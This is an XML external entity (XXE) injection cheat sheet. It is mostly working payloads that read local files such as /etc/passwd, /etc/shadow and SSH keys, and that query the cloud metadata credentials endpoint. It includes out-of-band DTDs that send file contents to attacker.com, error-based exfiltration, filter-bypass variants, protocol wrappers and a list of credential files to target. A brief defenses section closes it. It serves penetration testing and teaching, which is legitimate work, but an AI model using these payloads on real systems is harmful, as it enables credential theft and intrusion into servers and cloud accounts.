XML Entity Basics
XML Custom/Internal Entities
1
| <!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>
|
Usage: &myentity;
will be replaced with “my entity value”
XML External Entities
1
| <!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>
|
Usage: &ext;
will be replaced with contents of the referenced file
XML Parameter Entities
1
| <!DOCTYPE foo [ <!ENTITY % param "parameter entity value" > ]>
|
Usage: %param;
(only usable within DTD)
XXE Attack Techniques
Basic File Retrieval
Original XML:
1
2
| <?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>
|
Malicious XML:
1
2
3
| <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
|
XXE for SSRF (Server-Side Request Forgery)
Internal Network Scanning
1
| <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>
|
1
| <!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
|
1
2
3
4
5
6
7
8
| <!-- Decimal notation -->
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://2852039166/"> ]>
<!-- Octal notation -->
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://0330.0250.0000.0001/"> ]>
<!-- Hex notation -->
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://0xA9FEA9FE/"> ]>
|
Advanced XXE Techniques
XInclude Attacks
For applications that accept XML input without a DTD or DOCTYPE, use XInclude:
1
2
| <foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
|
Example in a form parameter:
1
2
| productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
|
XXE via File Upload
SVG file with XXE payload:
1
2
3
4
5
6
| <?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
|
Other file types supporting XML:
- DOCX/XLSX (Microsoft Office)
- PPTX
- ODT (OpenOffice)
- PDF (some versions)
- XML-based image formats (SVG, SVGZ)
Blind XXE Techniques
Out-of-band Detection (OAST)
1
| <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> ]>
|
Using Parameter Entities for Blind XXE
1
| <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>
|
Data Exfiltration (Out-of-band)
Host this DTD on attacker’s server (e.g., http://attacker.com/malicious.dtd
):
1
2
3
4
| <!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
|
Then send this XXE payload to the victim:
1
2
| <!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://attacker.com/malicious.dtd"> %xxe;]>
|
Error-based Data Exfiltration
Host this DTD on attacker’s server:
1
2
3
4
| <!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
|
Then send this XXE payload:
1
2
| <!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://attacker.com/malicious.dtd"> %xxe;]>
|
Leveraging Local DTD Files
Testing if a local DTD exists:
1
2
3
4
| <!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
|
Exploiting a local DTD entity (e.g., ISOamso
):
1
2
3
4
5
6
7
8
9
10
| <!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
|
XXE in Different Contexts
XXE via SOAP Request
1
2
3
4
5
6
| <soap:Body>
<foo>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<bar>&xxe;</bar>
</foo>
</soap:Body>
|
XXE via XML-RPC
1
2
3
4
5
6
7
8
9
10
| <?xml version="1.0"?>
<!DOCTYPE methodCall [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<methodCall>
<methodName>test</methodName>
<params>
<param>
<value>&xxe;</value>
</param>
</params>
</methodCall>
|
1
2
3
4
5
6
7
| <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE rss [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<rss version="2.0">
<channel>
<title>&xxe;</title>
</channel>
</rss>
|
Bypassing WAF and Filters
Using UTF-16 Encoding
1
2
3
| <?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
|
Case Variation
1
| <!DoCtYpE foo [ <!EnTiTy xxe SYSTEM "file:///etc/passwd"> ]>
|
Using Nested Entities
1
2
3
4
5
6
| <!DOCTYPE foo [
<!ENTITY % a "<!ENTITY % b '<!ENTITY &#x25; c SYSTEM 'file:///etc/passwd'>'>";
%a;
%b;
%c;
]>
|
1
2
| <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><!-- comment --><productId>&xxe;</productId></stockCheck>
|
Double Encoding
1
| <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///%65%74%63/%70%61%73%73%77%64"> ]>
|
File Protocols and Wrappers
File Protocol Variations
1
2
3
| <!ENTITY xxe SYSTEM "file:///etc/passwd">
<!ENTITY xxe SYSTEM "file://localhost/etc/passwd">
<!ENTITY xxe SYSTEM "file:/etc/passwd">
|
PHP Wrapper Exploitation
1
| <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
|
Java JAR Protocol (for SSRF)
1
| <!ENTITY xxe SYSTEM "jar:http://attacker.com/payload.jar!/file.txt">
|
Gopher Protocol (for SSRF to internal services)
1
| <!ENTITY xxe SYSTEM "gopher://internal-service:25/1HELO%20attacker.com">
|
Common Files to Target
Linux Files
1
2
3
4
5
6
7
8
| /etc/passwd
/etc/shadow
/etc/hosts
/etc/hostname
/home/[username]/.ssh/id_rsa
/proc/self/environ
/var/www/html/index.php
/var/log/apache2/access.log
|
Windows Files
1
2
3
4
5
| C:\Windows\Win.ini
C:\Windows\System32\drivers\etc\hosts
C:\Users\[username]\.ssh\id_rsa
C:\inetpub\logs\LogFiles\W3SVC1\u_ex[YYMMDD].log
C:\xampp\apache\conf\httpd.conf
|
Application Configuration Files
1
2
3
4
| /var/www/html/config.php
/var/www/html/wp-config.php
/var/www/html/.env
/app/config/parameters.yml
|
XXE Defenses
Disable External Entities
For PHP:
1
| libxml_disable_entity_loader(true);
|
For Java:
1
2
3
4
5
| DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
|
For Python:
1
2
3
| from lxml import etree
parser = etree.XMLParser(resolve_entities=False)
etree.parse(xml_file, parser)
|
When possible, use JSON instead of XML for data exchange
- Strip DOCTYPE declarations
- Validate XML against a known schema
- Use XML parsers that don’t process external entities by default
- XMLDecoder
- XXEinjector
- OWASP ZAP XXE Scanner
- Burp Suite Professional (requires manual testing)
References